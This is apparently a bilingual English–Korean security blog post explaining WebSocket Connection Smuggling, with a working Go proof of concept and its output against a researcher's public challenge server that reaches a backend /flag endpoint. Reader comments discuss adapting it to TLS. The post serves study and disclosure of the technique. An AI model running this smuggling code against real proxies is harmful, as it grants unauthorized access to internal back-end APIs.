10/31/2019

WebSocket Connection Smuggling

Today i’m going to talk about WebSocket Connection Smuggling.
It was announced at the Hacktivity 2019 conference, and it was kind of amazing, so I tested it a few times and it looked like a real problem.

오늘은 WebSocket Connection Smuggling에 대한 이야기를 할까 합니다.
Hacktivity 2019 컨퍼런스에서 발표된 내용이고, 신기한거 같아서 몇번 테스트해보니 실제 케이스에서 발생할 수 있는 문제로 보이네요..
(저 멀리 헝가리에서 하는 컨퍼런스라 가본적도 없고한데, 볼만한 내용들이 좀 있네요!)


What is Vulnerable?

Socket’s protocol’s first you need to know. The WebSocket is connected after the handshake process as shown below.
Usually, hackers will mainly analyze actions after CSWSH attacks or unencrypted communications (ws://) connections.

But, 0ang3el found Protocol by itself and the problem of this connection. it is smuggling is possible.

우선 웹 소켓의 통신 절차부터 봐야합니다. 초기 핸드쉐이크 과정 이후 WebSocket Connection을 맺는 순서로 동작합니다. 보통은 Origin 관련 부분인 CSWSH 취약점이나 ws:// 사용 여부, 이후 커넥션 중 발생할 수 있는 여러 보안적인 이슈를 분석하는데요. 0ang3el은 커넥션 자체 과정에서 문제를 발견헀습니다.



Error response 426 occurs when the HTTP Upgrade Request of invalid in Secret-WebSocket-Version header.

What’s interesting is that the client and Web socket server have TLS Connection, which does not use Web socket communication. This means that you have a tunnel that can handle HTTP requests, and if the user sending the HTTP request format without close the connection, the Back-End socket server in processes it and forwards it to the user.
This allows an attacker to invoke unauthorized APIs.

웹소켓의 시작인 HTTP Upgrade Request가 전송될 때 Sec-WebSocket-Version 헤더 등에 잘못된 값이 포함된 경우 에러 응답인 426이 발생합니다. 재미있는 점은 이 때 클라이언트와 웹 소켓 서버는 TLS Connection이 맺어지고 이는 웹 소켓 통신을 사용하지 않습니다.

즉 HTTP 요청을 처리할 수 있는 터널이 생긴거고, 사용자가 Connection close를 하지 않고 바로 HTTP 요청을 전달하면, Back-End에 있는 소켓 서버가 이를 처리하여 사용자에게 전달해줍니다.
(G/W 방식이던, Front-End가 별개로 있던 동일합니다)



이로인해 공격자는 허가되지 않은 API를 호출할 수 있게 됩니다.

Let’s test!

Lucky!! “0ang3el” built a test environment.
“0ang3el”가 테스트 환경을 구축해두었습니다.

https://challenge.0ang3el.tk/websocket.html

FE
- Reverse Proxy
- Socketio.js
- Only Access /socket.io/
BE
- localhost:5000 only

Back-end is not accessible directly.
Back-End는 직접 접근이 불가능합니다.

$ nc challenge.0ang3el.tk 5000 -v
Warning: Inverse name lookup failed for `157.245.130.48'
challenge.0ang3el.tk [157.245.130.48] 5000 (commplex-main): Connection refused

But, you can access the Back-End Server through WebSocket Connection Smuggling on the code below.
간단하게 코드짜서 테스트해보면.. 가능합니다 :)

$ go run smugws.go
2019/10/30 18:20:09 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Wed, 30 Oct 2019 09:20:09 GMT
{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Wed, 30 Oct 2019 09:20:09 GMT
    �0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"cff0caad2bbc48d48ce6ffd3ed444ff4"}�40

Code(https://github.com/hahwul/websocket-connection-smuggling-go)
package main
import (
    "log"
    "net"
    "io"
)
func main() {
    conn, err := net.Dial("tcp", "challenge.0ang3el.tk:80")
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /socket.io/?transport-websocket HTTP/1.1\r\nHost: localhost:80\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\n\r\n"
    req2 := "GET /flag HTTP/1.1\r\nHost: localhost:5000\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}




If you catch it as a request/response through proxy, you don’t see special response, but look at the data of the socket stream, the result received.

proxychains 를 통해 프록시로 잡아서 보면, Response에는 데이터가 잡히지 않지만 실제 소켓의 바이너리를 보면 스머글링된 결과를 사용자에게 보내줍니다.

proxychains4 ./websocket-connection-smuggling-go
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.14/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:8080  ...  challenge.0ang3el.tk:80  ...  OK


found!

Conclusion

In addition to the above cases, many cases are expec.

이외에도… 여러 케이스가 존재합니다.. status만 체크하는 경우 에도 가능하고, 에러 connetion을 맺을 수 있는 여러 방법이 있을 것 같습니다..
요즘 느끼는건, 예전과 다르게 웹 공격 방식이 엄청 빠르고 독특하게 변화하는 것 같습니다. 공부할건 산더미라 새로운 걸 발견하기 이전에 새로운 기법들을 따라가기도 바쁜 느낌입니다.

Thank you :)

Reference

https://speakerdeck.com/0ang3el/whats-wrong-with-websocket-apis-unveiling-vulnerabilities-in-websocket-apis
https://en.wikipedia.org/wiki/WebSocket


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

5 comments:

  1. This comment has been removed by the author.

    ReplyDelete
  2. Awesome post, thanks very much!

    Do you think if it is possible to smuggle data if the server is accepting 443 connections only and not 80 like in the example?

    ReplyDelete
    Replies
    1. yeah, I think yes. need to test it to know exactly but you can think about anyway..

      Eventually, whether the ports are different or the Use SSL, i think it will pass the Web socket connection FE(or G/W) to BE because web browser also uses websockets too. So I think it will be handled in that case too.

      But for https(ssl), it would be a little difficult to write a testing code.
      (because it need raw socket write..)

      I may not have understood your question properly. Tell me again if I don't understand. Thank you!

      Delete
  3. Heya, thanks for the reply!

    Yup, I managed to write that raw socket, needed some more digging but its doable :D

    Thanks for the awesome blog posts!
    cheers

    ReplyDelete
    Replies
    1. Hi @drs

      I'm also testing some more too, and if had interesting result, I'll share with you!
      cheers :)

      Delete